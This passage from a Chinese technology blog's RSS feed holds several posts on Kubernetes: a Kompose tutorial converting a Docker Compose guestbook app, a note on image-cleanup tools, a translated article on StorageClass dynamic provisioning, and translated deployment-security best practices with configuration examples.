&lt;p&gt;在 &lt;a href=&#34;http://www.skippbox.com/&#34; target=&#34;_blank&#34;&gt;skippbox&lt;/a&gt;，我们开发了 &lt;strong&gt;Kompose&lt;/strong&gt; 这一工具，他能够自动把 Docker Compose 应用转换为 Kubernetes 描述文件。利用一个简单的 &lt;code&gt;kompose up&lt;/code&gt; 命令，就可以在 Kubernetes 集群上启动 Compose 应用。我们非常乐于将其捐献给 &lt;a href=&#34;https://github.com/kubernetes-incubator&#34; target=&#34;_blank&#34;&gt;Kubernetes Incubator&lt;/a&gt;。下面介绍一下这一工具的开发动机和用法。&lt;/p&gt;

&lt;p&gt;Docker 给了开发者以巨大的帮助。让每个人都能够从 Docker Registry 启动一个打包好的 Docker 应用。为了对付多容器应用， Docker 开发了 Docker-compose （也就是 Compose）。Compose 借助 yaml 格式的描述文件来定义一个多容器应用，然后就可以用一个简单的 &lt;code&gt;docker-compose up&lt;/code&gt; 来启动这一应用中的多个容器。然而，Compose 只能够在本地或者 Docker Swarm 集群中运行。&lt;/p&gt;

&lt;p&gt;那如果我们需要在 Swarm 之外运行怎么办？比如 Kubernetes？&lt;/p&gt;

&lt;p&gt;Compose 格式并非为分布式而诞生的。所以，你只能为你选择的容器编排工具重新编写应用描述文件。&lt;/p&gt;

&lt;p&gt;我们利用 Kompose，能够简单的完成将应用从 Docker Swarm 到 Kubernetes 的转换过程，这样就为 Docker 用户敞开了 Kubernetes 的大门。&lt;/p&gt;

&lt;p&gt;今年夏天，来自红帽子的  Tomas Kral 和 Suraj Deshmukh，以及来自 Google 的 Janet Kuo，他们和 Kompose 的主要开发者 Nguyen An-Tu 一起为 Kompose 锦上添花。我们把 Kompose 提交给 Kubernets Incubator，得到了 Kubernetes 社区的支持，现在可以在 &lt;a href=&#34;https://github.com/kubernetes-incubator/kompose&#34; target=&#34;_blank&#34;&gt;Kubernetes Incubator&lt;/a&gt; 找到 Kompose。&lt;/p&gt;

&lt;p&gt;Kompose 目前支持 Docker-compose v2 格式，最近还加入了持久卷所有权（PVC）、以及多容器 Pod 的支持。除了缺省的 Kubernetes 之外，我们还支持 Openshift 的发布能力。Kompose 现在还出现在了 Fedora 包中，未来也会进入 CentOS 中去。&lt;/p&gt;

&lt;p&gt;Kompose 是一个 Golang 应用，可以从 &lt;a href=&#34;https://github.com/kubernetes-incubator/kompose&#34; target=&#34;_blank&#34;&gt;Github&lt;/a&gt; 上获取。下面让我们跳过 Build 环节直接进入实例。&lt;/p&gt;

&lt;h2 id=&#34;docker-的留言板应用&#34;&gt;Docker 的留言板应用&lt;/h2&gt;

&lt;p&gt;留言板应用是 Kubernetes 的权威示例。如果要用 Docker Compose 来实现留言板，可以用下面的代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;version: &amp;quot;2&amp;quot;

services:
  redis-master:
    image: gcr.io/google_containers/redis:e2e
    ports:
      - &amp;quot;6379&amp;quot;
  redis-slave:
    image: gcr.io/google_samples/gb-redisslave:v1
    ports:
      - &amp;quot;6379&amp;quot;
    environment:
      - GET_HOSTS_FROM=dns
  frontend:
    image: gcr.io/google-samples/gb-frontend:v4
    ports:
      - &amp;quot;80:80&amp;quot;
    environment:
      - GET_HOSTS_FROM=dns
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中包含了三个服务：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;一个 Redis 主节点；&lt;/li&gt;
&lt;li&gt;一组能够横向扩展并借助 DNS 找到 Master 的 Redis 从节点；&lt;/li&gt;
&lt;li&gt;暴露于 80 端口的 PHP 前端。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这些组合在一起，让用户可以发表留言，并保存在 Redis 集群中。&lt;/p&gt;

&lt;p&gt;要启动这个应用：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ docker-compose -f docker-guestbook.yml up -d
Creating network &amp;quot;examples_default&amp;quot; with the default driver
Creating examples_redis-slave_1
Creating examples_frontend_1
Creating examples_redis-master_1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这就是一个简单的 Docker 用法，下面我肯看看如何在不重写任何东西的情况下，让这些工作在 Kubernetes 上完成。&lt;/p&gt;

&lt;h2 id=&#34;kompose-的留言板应用&#34;&gt;Kompose 的留言板应用&lt;/h2&gt;

&lt;p&gt;Kompose 目前有三个主要的命令：&lt;code&gt;up&lt;/code&gt;、&lt;code&gt;down&lt;/code&gt; 以及 &lt;code&gt;convert&lt;/code&gt;。为了行文方便，我们只简单说一下留言吧应用的启动。&lt;/p&gt;

&lt;p&gt;跟 &lt;code&gt;docker-compose&lt;/code&gt; 类似，我们可以用 &lt;code&gt;kompose up&lt;/code&gt; 命令处理 Docker compose 文件，来启动应用：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ kompose -f ./examples/docker-guestbook.yml up
We are going to create Kubernetes deployment and service for your dockerized application.
If you need more kind of controllers, use &#39;kompose convert&#39; and &#39;kubectl create -f&#39; instead.

INFO[0000] Successfully created service: redis-master
INFO[0000] Successfully created service: redis-slave
INFO[0000] Successfully created service: frontend
INFO[0000] Successfully created deployment: redis-master
INFO[0000] Successfully created deployment: redis-slave
INFO[0000] Successfully created deployment: frontend

Application has been deployed to Kubernetes. You can run &#39;kubectl get deployment,svc&#39; for details.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Kompose 自动把 Docker-compose 文件转为 Kuberntes 对象。缺省情况下，他会为一个 Compose 服务创建一个 Deployment 以及一个服务。另外还能自动检测当前的 Kuberntes 端点，并在上面创建对象。可以通过一系列的选项来创建 Replication Controller、Replica Set 或者 Daemon Set。&lt;/p&gt;

&lt;p&gt;就这样完成了自动转换，如果你了解一些 Kubernetes 的话，可以用 kubectl 命令来看看集群上运行的留言板。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ kubectl get pods,svc,deployments
NAME                             READY        STATUS        RESTARTS     AGE
frontend-3780173733-0ayyx        1/1          Running       0            1m
redis-master-3028862641-8miqn    1/1          Running       0            1m
redis-slave-3788432149-t3ejp     1/1          Running       0            1m
NAME                             CLUSTER-IP   EXTERNAL-IP   PORT(S)      AGE
frontend                         10.0.0.34    &amp;lt;none&amp;gt;        80/TCP       1m
redis-master                     10.0.0.219   &amp;lt;none&amp;gt;        6379/TCP     1m
redis-slave                      10.0.0.84    &amp;lt;none&amp;gt;        6379/TCP     1m
NAME                             DESIRED      CURRENT       UP-TO-DATE 

AVAILABLE   AGE
frontend                         1            1             1            1           1m
redis-master                     1            1             1            1           1m
redis-slave                      1            1             1            1           1m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看到了三个服务、三个 Deployment 以及三个 Pod。可以通过 frontend 服务来访问留言板应用。只不过这次的留言板，是从 Docker-Compose 文件启动的。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/guestbook.png&#34; alt=&#34;guestbook&#34; /&gt;&lt;/p&gt;

&lt;p&gt;以上给读者快速的介绍了一下 kompose。还有很多激动人心的特性，例如创建不同类型的资源、创建 Helm Chars，甚至可以使用试验性的 Docker bundle 格式进行输入（Lachlan Evenson 的博客：&lt;a href=&#34;https://deis.com/blog/2016/push-docker-dab-kubernetes-cluster/&#34; target=&#34;_blank&#34;&gt;using a Docker bundle with Kubernetes&lt;/a&gt;）。可以在我们的 &lt;a href=&#34;https://www.youtube.com/watch?v=zqUfPPNVjI8&amp;amp;index=42&amp;amp;list=PLj6h78yzYM2PqgIGU1Qmi8nY7dqn9PCr4&#34; target=&#34;_blank&#34;&gt;KubeCon 上的视频&lt;/a&gt; 中看到完整的演示。&lt;/p&gt;

&lt;p&gt;前往 &lt;a href=&#34;https://github.com/kubernetes-incubator/kompose&#34; target=&#34;_blank&#34;&gt;Kubernetes incubator&lt;/a&gt; 获取 Kompose，可以帮助你轻松地把应用从 Docker Compose 迁移为 Kubernetes 集群应用。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>清理 Docker 和私库镜像</title>
      <link>/post/another-new-project-on-github/</link>
      <pubDate>Fri, 11 Nov 2016 10:27:26 +0800</pubDate>
      <guid>/post/another-new-project-on-github/</guid>
      <description>&lt;p&gt;最近一直忙些不靠谱的玩意，意外的发现， Docker 和 DevOps 的苟合之后，没有计划生育的结果就是镜像的极度膨胀，兄弟团队每天上百次的构建，让他们可怜的存储条件无法镜像爆炸的后果，因此就有了这俩工具。&lt;/p&gt;

&lt;p&gt;两个工具分别用于清理 Docker 的本地镜像以及私库镜像，Github 地址：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://github.com/fleeto/clear-registry-image&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://github.com/fleeto/clear-docker-image&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;之所以没有采用 request 之类而是用的原始的命令行方式，主要是考虑降低部署依赖。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 中的 StorageClass 和动态卷供给</title>
      <link>/post/dynamic-provision-for-storage-volumes-in-kubernetes/</link>
      <pubDate>Thu, 13 Oct 2016 02:36:21 +0800</pubDate>
      <guid>/post/dynamic-provision-for-storage-volumes-in-kubernetes/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;hhttps://kubernetes.io/blog/2016/10/dynamic-provisioning-and-storage-in-kubernetes&#34; target=&#34;_blank&#34;&gt;Dynamic Provisioning and Storage Classes in Kubernetes&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;存储是容器运行环境的重要一环，Kubernetes 提供了一些用于存储管理的基础能力。动态卷供给是一个 Kubernetes 独有的功能，这一功能允许按需创建存储卷。在没有这种能力之前，集群管理员需要打电话给他们的云或者存储提供者来创建新的存储卷，成功以后再创建 &lt;code&gt;PersistentVolume&lt;/code&gt; 对象，才能够在 Kubernetes 中使用。动态卷供给能力让管理员不必进行预先创建存储卷，而是随用户需求进行创建。这一特性在 1.2 版本中处于 α 阶段，在 &lt;a href=&#34;http://blog.kubernetes.io/2016/09/kubernetes-1.4-making-it-easy-to-run-on-kuberentes-anywhere.html&#34; target=&#34;_blank&#34;&gt;版本 1.4&lt;/a&gt; 中提升为 β。这一版本提高了动态卷的弹性和可用性。&lt;/p&gt;

&lt;h2 id=&#34;新特性&#34;&gt;新特性&lt;/h2&gt;

&lt;p&gt;Alpha 版本的动态卷，一个集群同时只能允许单独的、被硬编码的提供者。也就是说，如果 Kubernetes 要提供动态卷的时候，即使集群中可以使用多个存储系统，Kubernetes 也只会使用同一个存储卷插件。存储提供者的选型是基于云环境类型决定的 —— AWS 的 EBS，Google Cloud 的 Persistent Disk 或者是 OpenStack 的 Cinder，以及 vSphere 的 vSphere Volume。另外只有容量参数可以配置。这就意味着，即使有其他参数可用，所有的动态卷除了尺寸大小，其他都是一样的。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;因为只有容量是大家都有的吧。。。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;虽说这一功能的 Alpha 版本实用性有限，这毕竟是迈出了一步，有助于确定今后的发展方向。&lt;/p&gt;

&lt;p&gt;Kubernetes 1.4 中中加入了一个 &lt;a href=&#34;http://kubernetes.io/docs/user-guide/persistent-volumes/#storageclasses&#34; target=&#34;_blank&#34;&gt;新的 API 对象&lt;/a&gt; &lt;code&gt;StorageClass&lt;/code&gt;，可以定义多个 &lt;code&gt;StorageClass&lt;/code&gt; 对象，并可以分别指定存储插件、设置参数，用于提供不同的存储卷。这样的设计让集群管理员能够在同一个集群内，定义和提供不同类型的、不同参数的卷（相同或者不同的存储系统）。这样的设计还确保了最终用户在无需了解太多的情况下，有能力选择不同的存储选项。&lt;/p&gt;

&lt;h2 id=&#34;如何使用&#34;&gt;如何使用&lt;/h2&gt;

&lt;p&gt;下面是一个例子，管理员提供了两种存储，用户可以选择其中一个使用。细节可以查看 &lt;a href=&#34;http://kubernetes.io/docs/user-guide/persistent-volumes/#storageclasses&#34; target=&#34;_blank&#34;&gt;手册&lt;/a&gt; 以及 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/tree/release-1.4/examples/experimental/persistent-volume-provisioning&#34; target=&#34;_blank&#34;&gt;示例&lt;/a&gt; 文档。&lt;/p&gt;

&lt;h3 id=&#34;管理员配置&#34;&gt;管理员配置&lt;/h3&gt;

&lt;p&gt;集群管理员定义并发布了两个 &lt;code&gt;StorageClass&lt;/code&gt; 对象&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: StorageClass
apiVersion: storage.k8s.io/v1beta1
metadata:
  name: slow
provisioner: kubernetes.io/gce-pd
parameters:
  type: pd-standard
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;这一段创建了一个名为 &amp;ldquo;slow&amp;rdquo; 的 &lt;code&gt;StorageClass&lt;/code&gt;，用于提供标准的持久存储。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: StorageClass
apiVersion: storage.k8s.io/v1beta1
metadata:
  name: fast
provisioner: kubernetes.io/gce-pd
parameters:
  type: pd-ssd
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;这一段创建了一个名为 &amp;ldquo;fast&amp;rdquo; 的 &lt;code&gt;StorageClass&lt;/code&gt;，用于提供类似 SSD 的持久存储。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;用户请求&#34;&gt;用户请求&lt;/h3&gt;

&lt;p&gt;用户在 &lt;code&gt;PersistentVolumeClaim&lt;/code&gt; 中可以包含一个 &lt;code&gt;StorageClass&lt;/code&gt; 申请动态提供存储。这一任务需要使用 &lt;code&gt;volume.beta.kubernetes.io/storage-class&lt;/code&gt; 注解来完成。这一注解的值必须符合管理员配置的 &lt;code&gt;StorageClass&lt;/code&gt; 名称。&lt;/p&gt;

&lt;p&gt;要选择 &amp;ldquo;fast&amp;rdquo; 存储类，用户需要创建如下的 PVC：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt; {
  &amp;quot;kind&amp;quot;: &amp;quot;PersistentVolumeClaim&amp;quot;,
  &amp;quot;apiVersion&amp;quot;: &amp;quot;v1&amp;quot;,
  &amp;quot;metadata&amp;quot;: {
    &amp;quot;name&amp;quot;: &amp;quot;claim1&amp;quot;,
    &amp;quot;annotations&amp;quot;: {
        &amp;quot;volume.beta.kubernetes.io/storage-class&amp;quot;: &amp;quot;fast&amp;quot;
    }
  },
  &amp;quot;spec&amp;quot;: {
    &amp;quot;accessModes&amp;quot;: [
      &amp;quot;ReadWriteOnce&amp;quot;
    ],
    &amp;quot;resources&amp;quot;: {
      &amp;quot;requests&amp;quot;: {
        &amp;quot;storage&amp;quot;: &amp;quot;30Gi&amp;quot;
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上述报文会提供一个等效于 SSD 的持久盘，当这个 PVC 被删除，这个卷也随之销毁。&lt;/p&gt;

&lt;h3 id=&#34;缺省行为&#34;&gt;缺省行为&lt;/h3&gt;

&lt;p&gt;所有的 PVC 都可以在不使用 &lt;code&gt;StorageClass&lt;/code&gt; 注解的情况下，直接使用某个动态存储。把一个 &lt;code&gt;StorageClass&lt;/code&gt; 对象标记为 &amp;ldquo;default&amp;rdquo; 就可以了。&lt;code&gt;StorageClass&lt;/code&gt; 用注解 &lt;code&gt;storageclass.beta.kubernetes.io/is-default-class&lt;/code&gt; 就可以成为缺省存储。&lt;/p&gt;

&lt;p&gt;有了缺省的 &lt;code&gt;StorageClass&lt;/code&gt;，用户创建 PVC 就不用 storage-class 的注解了，1.4 中新加入的 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/pull/30900&#34; target=&#34;_blank&#34;&gt;DefaultStorageClass&lt;/a&gt; 准入控制器会自动把这个标注指向缺省存储类。&lt;/p&gt;

&lt;h3 id=&#34;我还能使用-alpha-版本么&#34;&gt;我还能使用 Alpha 版本么？&lt;/h3&gt;

&lt;p&gt;Kubernetes 1.4 兼容 alpha 版本的动态卷特性，让用户能够平滑过渡到 beta 版本。用 &lt;code&gt;volume.alpha.kubernetes.io/storage-class&lt;/code&gt; 注解来标注 alpha 版本。&lt;/p&gt;

&lt;p&gt;在未来版本中将会弃用 Alpha 版本。&lt;/p&gt;

&lt;h3 id=&#34;下一步&#34;&gt;下一步？&lt;/h3&gt;

&lt;p&gt;动态卷功能会持续发展，下面是一些要点。&lt;/p&gt;

&lt;h4 id=&#34;标准云支持&#34;&gt;标准云支持&lt;/h4&gt;

&lt;p&gt;如果 Kubernetes 集群部署在云服务商，我们 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/pull/31617/files&#34; target=&#34;_blank&#34;&gt;考虑&lt;/a&gt; 自动使用云的本地存储系统创建一个动态卷供给者。例如在 AWS 上的标准部署会得到一个 EBS 的动态卷供给，而 Google Cloud 的部署则会提供一个 GCE PD 动态卷供应者。我们还在讨论是否应该把这种卷作为缺省卷。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 部署安全最佳实践</title>
      <link>/post/best-practice-for-deployment-security-in-kubernetes/</link>
      <pubDate>Tue, 27 Sep 2016 06:56:57 +0800</pubDate>
      <guid>/post/best-practice-for-deployment-security-in-kubernetes/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2016/08/security-best-practices-kubernetes-deployment&#34; target=&#34;_blank&#34;&gt;Security Best Practices for Kubernetes Deployment&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;本文作者是来自 Aqua Security 的  Amir Jerbi 和 Michael Cherny，他们以大量的案例和经验为基础，总结并描述了 Kubernetes 部署中的最佳安全实践。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Kubernetes 提供了很多能够提高应用安全的方法。要进行这些配置，就要掌握 Kubernetes 的相关知识，同时也要清楚的了解安全需求。这里我们关注的安全内容集中在容器的生命周期上：构建、传输以及运行，并且针对 Kubernetes 进行了特别的裁剪。&lt;a href=&#34;http://blog.aquasec.com/running-a-security-service-in-google-cloud-real-world-example&#34; target=&#34;_blank&#34;&gt;我们自己的 SaaS&lt;/a&gt; 就是运行在 Google Cloud Platform 上的 Kubernetes 中，已经采用了这些最佳实践。&lt;/p&gt;

&lt;p&gt;下面是我们对于安全部署 Kubernetes 应用的一些建议。&lt;/p&gt;

&lt;h2 id=&#34;确保镜像无漏洞&#34;&gt;确保镜像无漏洞&lt;/h2&gt;

&lt;p&gt;运行带有漏洞的容器会让你的环境身处险境。只要运行中的系统的所有组件都不存在已知漏洞，就能够避免很多被攻击的机会。&lt;/p&gt;

&lt;h3 id=&#34;安全漏洞的持续扫描&#34;&gt;安全漏洞的持续扫描&lt;/h3&gt;

&lt;p&gt;容器中可能有一些过期组件，这些过期组件往往会包含已知漏洞（CVE）。新的漏洞层出不穷，因此对安全漏洞的扫描工作必须持续进行。&lt;/p&gt;

&lt;h3 id=&#34;适时应用安全更新&#34;&gt;适时应用安全更新&lt;/h3&gt;

&lt;p&gt;一旦在运行的容器中发现了安全漏洞，就该对源镜像进行更新并部署。为了避免破坏镜像和容器的继承性，尽量不要在容器&lt;strong&gt;中&lt;/strong&gt;直接进行更新（例如 &lt;code&gt;apt-update&lt;/code&gt;）。 Kubernetes 的滚动更新功能可以渐进式的为运行中的应用更新镜像，这一功能让应用更新变得简单优雅。&lt;/p&gt;

&lt;h2 id=&#34;只使用可靠的镜像&#34;&gt;只使用可靠的镜像&lt;/h2&gt;

&lt;p&gt;要避免受到有漏洞甚至恶意的容器的威胁，镜像的准入就需要受到有效管理。和随意下载运行软件一样，下载运行不可靠的镜像也是高危行为，必须杜绝。&lt;/p&gt;

&lt;p&gt;使用私库来保存你的镜像，并保证只向其推送可靠镜像。这样就缩小了战场面积，避免大量不确认的公开镜像涌入你的环境。另外建议在持续构建流程中加入漏洞扫描之类的安全环节。&lt;/p&gt;

&lt;p&gt;持续集成管线要控制门槛，只允许使用受确认的代码进行镜像构建。镜像构建成功后，应该进行漏洞扫描，排除问题后才能推入私库，进行下一步的部署。过程中发现问题，应该终端构建过程，阻止安全质量低下的镜像进入私库。&lt;/p&gt;

&lt;p&gt;目前 Kubernetes 正在开发镜像认证插件（将在 1.4 推出），用以阻挡未认证镜像的进入，相关信息请参看 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/pull/27129&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;pull request&lt;/strong&gt;&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;限制对-kubernetes-node-的直接访问&#34;&gt;限制对 Kubernetes Node 的直接访问&lt;/h2&gt;

&lt;p&gt;对 Kubernetes Node 的 SSH 访问会降低主机的安全性。应该让用户尽量使用 &lt;code&gt;kubectl exec&lt;/code&gt;，这一命令提供了对容器环境的直接访问，而不需要接触宿主机。&lt;/p&gt;

&lt;p&gt;还可以使用 Kubernetes 的 &lt;a href=&#34;http://kubernetes.io/docs/admin/authorization/&#34; target=&#34;_blank&#34;&gt;Authorization Plugins&lt;/a&gt; 来对用户的资源访问进行进一步控制。这一插件允许定义对命名空间、容器以及操作的基于角色的访问控制。&lt;/p&gt;

&lt;h2 id=&#34;在资源之间建立管理边界&#34;&gt;在资源之间建立管理边界&lt;/h2&gt;

&lt;p&gt;限制用户权限能够降低出错和入侵造成的危害。Kubernetes 命名空间让你可以把资源分割为不同名称的群组之中。一个命名空间中创建的资源对其他命名空间是不可见的。缺省情况下，Kubernetes 用户创建的资源都存在于 default 命名空间中。可以创建其他的命名空间，并把资源和用户绑定上去。可以使用 Kubernetes Authorization 插件来创建策略，让不同用户分别访问各自的命名空间和对应的资源。&lt;/p&gt;

&lt;p&gt;例如下面的策略让 &lt;strong&gt;&amp;ldquo;Alice&amp;rdquo;&lt;/strong&gt; 能够从命名空间 &lt;strong&gt;&amp;ldquo;fronto&amp;rdquo;&lt;/strong&gt; 中读取 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;{
  &amp;quot;apiVersion&amp;quot;: &amp;quot;abac.authorization.kubernetes.io/v1beta1&amp;quot;, 
  &amp;quot;kind&amp;quot;: &amp;quot;Policy&amp;quot;, 
  &amp;quot;spec&amp;quot;: {
    &amp;quot;user&amp;quot;: &amp;quot;alice&amp;quot;,
    &amp;quot;namespace&amp;quot;: &amp;quot;fronto&amp;quot;,
    &amp;quot;resource&amp;quot;: &amp;quot;pods&amp;quot;,
    &amp;quot;readonly&amp;quot;: true
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;设定资源配额&#34;&gt;设定资源配额&lt;/h2&gt;

&lt;p&gt;容器运行中如果没有资源限制，那么系统就可能处于 &lt;strong&gt;DoS&lt;/strong&gt; 或&lt;a href=&#34;https://en.wikipedia.org/wiki/Cloud_computing_issues#Performance_interference_and_noisy_neighbors&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;邻里不和&lt;/strong&gt;&lt;/a&gt;的情境之中。要降低或阻止这一风险，就需要设定资源配额。缺省情况下，所有的 Kubernetes 集群资源都可以不受限的访问 CPU 和内存。可以为命名空间创建配额策略，来限制 Pod 的 CPU 和内存消费。&lt;/p&gt;

&lt;p&gt;下面的例子是一个命名空间的资源配额定义，限制运行 Pod 数量为 4，CPU 的使用限制在 1-2 之间，内存使用在 1-2 G 之间：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: ResourceQuota
metadata:
  name: compute-resources
spec:
  hard:
    pods: &amp;quot;4&amp;quot;
    requests.cpu: &amp;quot;1&amp;quot;
    requests.memory: 1Gi
    limits.cpu: &amp;quot;2&amp;quot;
    limits.memory: 2Gi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;将资源配额指派给命名空间：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;kubectl create -f ./compute-resources.yaml --namespace=myspace
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;规划网络分区&#34;&gt;规划网络分区&lt;/h2&gt;

&lt;p&gt;在同一个 Kubernetes 集群上运行不同的应用，引入了一个风险就是应用之间的互相访问。要确保容器只能访问允许访问的范围，网络分区是很重要的。Kubernetes 中的一大挑战就是在 Pod、Service 以及容器之间的网络划分，造成这一问题的根本在于容器网络的动态分配过程，让容器可以跨越 Node 进行网络互访。&lt;/p&gt;

&lt;p&gt;Google Cloud Platform 用户收益于自动防火墙规则功能，能够阻止跨集群的通信。使用 SDN 或者防火墙能够达到类似的效果。Kuberntes &lt;a href=&#34;https://github.com/kubernetes/community/wiki/SIG-Network&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;Network SIG&lt;/strong&gt;&lt;/a&gt; 正在进行这方面的努力，目的是增强 Pod 之间的通信策略。新的网络策略 API 将会用于创建 Pod 之间的防火墙规则，限制容器应用的网络访问。&lt;/p&gt;

&lt;p&gt;下面的例子是一条网络策略，用于控制 &amp;ldquo;backend&amp;rdquo; Pod，只允许来自于 &amp;ldquo;frontend&amp;rdquo; Pod 的访问。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;POST /apis/net.alpha.kubernetes.io/v1alpha1/namespaces/tenant-a/networkpolicys
{
  &amp;quot;kind&amp;quot;: &amp;quot;NetworkPolicy&amp;quot;,
  &amp;quot;metadata&amp;quot;: {
    &amp;quot;name&amp;quot;: &amp;quot;pol1&amp;quot;
  },
  &amp;quot;spec&amp;quot;: {
    &amp;quot;allowIncoming&amp;quot;: {
      &amp;quot;from&amp;quot;: [{
        &amp;quot;pods&amp;quot;: { &amp;quot;segment&amp;quot;: &amp;quot;frontend&amp;quot; } 
      }],
      &amp;quot;toPorts&amp;quot;: [{
        &amp;quot;port&amp;quot;: 80,
        &amp;quot;protocol&amp;quot;: &amp;quot;TCP&amp;quot; 
      }]
    },
    &amp;quot;podSelector&amp;quot;: { 
      &amp;quot;segment&amp;quot;: &amp;quot;backend&amp;quot; 
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;网络策略的更多信息可以阅读 &lt;a href=&#34;http://blog.kubernetes.io/2016/04/Kubernetes-Network-Policy-APIs.html&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;SIG-Networking: Kubernetes Network Policy APIs Coming in 1.3&lt;/strong&gt;&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;pod-和容器的安全上下文&#34;&gt;Pod 和容器的安全上下文&lt;/h2&gt;

&lt;p&gt;设计容器和 Pod 的时候，一定要配置 Pod、容器以及卷的安全上下文。安全上下文是部署 Yaml 中的一个属性，他控制了 pod/container/volume 的安全参数，下面列出一些重要的参数：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;安全上下文设置&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SecurityContext-&amp;gt;runAsNonRoot&lt;/td&gt;
&lt;td&gt;容器应该用非 root 用户运行&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;SecurityContext-&amp;gt;Capabilities&lt;/td&gt;
&lt;td&gt;设置 Linux 分配给容器的性能&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;SecurityContext-&amp;gt;readOnlyRootFilesystem&lt;/td&gt;
&lt;td&gt;容器是否可以写入 root 文件系统&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;PodSecurityContext-&amp;gt;runAsNonRoot&lt;/td&gt;
&lt;td&gt;阻止 Pod 中的容器以 root 用户运行&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;下面是一个带有安全上下文的 Pod 定义：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: hello-world
spec:
  containers:
  # specification of the pod’s containers
  # ...
  securityContext:
    readOnlyRootFilesystem: true
    runAsNonRoot: true
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href=&#34;http://kubernetes.io/docs/api-reference/v1/definitions/#_v1_podsecuritycontext&#34; target=&#34;_blank&#34;&gt;参考&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;如果用特权形式（&lt;code&gt;--privileged&lt;/code&gt;）运行容器，可以用 &lt;code&gt;DenyEscalatingExec&lt;/code&gt; 控制。这一开关拒绝在特权容器上使用 Exec 和 Attach 命令。具体情况可以参考 &lt;a href=&#34;http://kubernetes.io/docs/admin/admission-controllers/&#34; target=&#34;_blank&#34;&gt;Admission 文档&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;记录日志&#34;&gt;记录日志&lt;/h2&gt;

&lt;p&gt;Kubernetes 支持集群级别的日志，集中收集日志到中央服务。当集群创建之后，STDOUT 和 STDERR 就能够被 Node 中的 Fluent 搜集起来，并汇总到 Google Stackdriver Logging 或者 Elasticsearch，并用 Kibana 进行查看。&lt;/p&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;Kubernetes 为安全提供了很多特性。对这些特性进行学习和了解，才能够制定出符合应用需求的安全方案。&lt;/p&gt;

&lt;p&gt;我们建议实施文中提到的最佳实践，使用 Kubernetes 的动态配置能力，结合持续集成，无缝提高安全保障能力。&lt;/p&gt;
</description>
    </item>
    
    <item>
